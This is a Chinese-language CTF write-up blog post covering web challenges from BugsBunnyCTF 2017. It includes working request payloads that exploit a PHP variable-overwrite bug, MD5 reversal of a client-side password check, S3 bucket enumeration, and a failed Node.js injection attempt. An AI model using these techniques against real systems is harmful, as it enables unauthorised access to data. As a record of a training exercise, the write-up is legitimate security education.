Chybeta

BugsBunnyCTF2017-web-writeup

单刷好幸苦。

Nothing here

1
2
Nothing here !
http://52.53.151.123/web/web5.php

访问后查看源代码,注释中有:

1
QnVnc19CdW5ueXs1MjljNDI5YWJkZTIxNzFkMGEyNTU4NDQ3MmFmODIxN30K

base64解码,得到flag:

1
Bugs_Bunny{529c429abde2171d0a25584472af8217}

Encryption

1
2
You know your job
http://52.53.151.123/web/web30.php

访问后题目说Only users of “Bugs_Bunny Browser” may access this page.。所以抓包改User-Agent。

1
flag=zn8XhqnlBRBetevoFcSQAw0OMVH6Kwj23svbneF1%2B5gDfBdn9osZBfB06cTub4ARg3OTTjsBIG7x;

中间有个%2B,是+号。在https://hashkiller.co.uk/text-encryption.aspx 上,用密码Hashkiller解密。得到flag:

1
Bugs_Bunny{hashkiller_has_a_custom_encryption_ algorithm}

Old php vuln !

1
2
3
4
Hey ,Agent
Your mission is to hack this secure portal .
Good luck.
http://52.53.151.123/web/web35.php

SimplePHP

1
2
3
4
5
PHP for noobs :p ?
Maybe not this time :D
http://34.253.165.46/SimplePhp/index.php
source : http://34.253.165.46/SimplePhp/index.txt

题目提供了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $key => $value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);
?>

有很明显的变量覆盖漏洞。要求我们在post语句中有flag,同时在第二个foreach中有把$flag直接覆盖了,所以直接通过echo语句输出的flag是被修改过的。接着看看有什么输出点,比如有个die($_200),结合第一个foreach的功能,我们可以在第二个foreach之前先将$_200的值覆盖为原flag的值。payload如下:

1
2
3
4
http://34.253.165.46/SimplePhp/index.php?_200=flag
POST:
flag=1

得到flag:

1
Bugs_Bunny{Simple_PHP_1s_re4lly_fun_!!!}

利用前面的die($_403)也可以实现。我们先把原flag的值覆盖到$_403上,然后构造$_POST["flag"] !== $flag,从而die($_403)输出flag。payload如下:

1
2
3
4
http://34.253.165.46/SimplePhp/index.php?_403=flag&_POST=1
POST:
flag=

同样能获得flag。

Web100

前端加密问题。部分代码如下:

1
2
3
4
5
6
var h = prompt("Please enter your passowrd");
if(generate(h[11]+h[8]+h[1]+h[0]+h[9]+h[4]+h[13])==_&&generate(h[15]+h[10]+h[3]+h[5]+h[6])==__&&generate(h[16]+h[12]+h[14]+h[2]+h[7])==___){
alert('your flag is Bugs_Bunny{'+h+'}');
}else{
alert('I\'m sorry my son it\' not easy');
}

经过初步调试后几个重要的值如下:

1
2
3
4
5
_ = 6b07fd4ea837c39e1542e1bbca01a224
__ = 20ee80e63596799a1543bc9fd88d8878
___ = 21232f297a57a5a743894a0e4a801fc3

generate在逆向后发现是md5加密。在google上查到对应的md5解密对应如下:

1
2
3
md5(tunisia) = 6b07fd4ea837c39e1542e1bbca01a224
md5(bunny) = 20ee80e63596799a1543bc9fd88d8878
md5(admin) = 21232f297a57a5a743894a0e4a801fc3

所以有如下对应关系:

1
2
3
4
5
6
7
8
h[11]+h[8]+h[1]+h[0]+h[9]+h[4]+h[13]
t u n i s i a
h[15]+h[10]+h[3]+h[5]+h[6]
b u n n y
h[16]+h[12]+h[14]+h[2]+h[7]
a d m i n

得到的h为:

1
inininynusutdamba

最后的flag为:

1
Bugs_Bunny{inininynusutdamba}

LQI_X

1
http://34.253.165.46/LQI_X

给了个登陆框,应有存在注入。

Walk walk

1
http://www.chouaibhm.me

发现是asw s3服务,存在未授权/信息泄露漏洞,可见Awesome CTF Book:AWS 漏洞系列
访问:

1
http://www.chouaibhm.me.s3.amazonaws.com/

Calculator

随便进行了一些功能测试,比如点1+2,则抓包会发现有data字段时我们输入的表达式,forward掉后返回结果。驶入的表达式只允许输入数字,中小括号,感叹号,乘号,减号。猜测后端用eval执行。一开始我以为xss,将payload进行一次jsfuck加密后能绕过过滤,不过没啥用等。然后有一次的payload过长,返回的报错信息:

1
2
3
4
5
6
7
8
9
10
11
Error: spawn E2BIG
at exports._errnoException (util.js:1018:11)
at ChildProcess.spawn (internal/child_process.js:319:11)
at exports.spawn (child_process.js:378:9)
at Object.exports.execFile (child_process.js:143:15)
at exports.exec (child_process.js:103:18)
at /app/apps.js:47:11
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at next (/app/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)

所以后端是用node.js。推测是要渗透nodojs。参考Reverse shell on a Node.js applicationPentesting Node.js Application : Nodejs Application Security 进行渗透,不过可惜没有成功。

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:BugsBunnyCTF2017-web-writeup

文章作者:chybeta

发布时间:2017年07月30日 - 07:07

最后更新:2017年07月31日 - 17:07

原始链接:http://chybeta.github.io/2017/07/30/BugsBunnyCTF2017-web-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。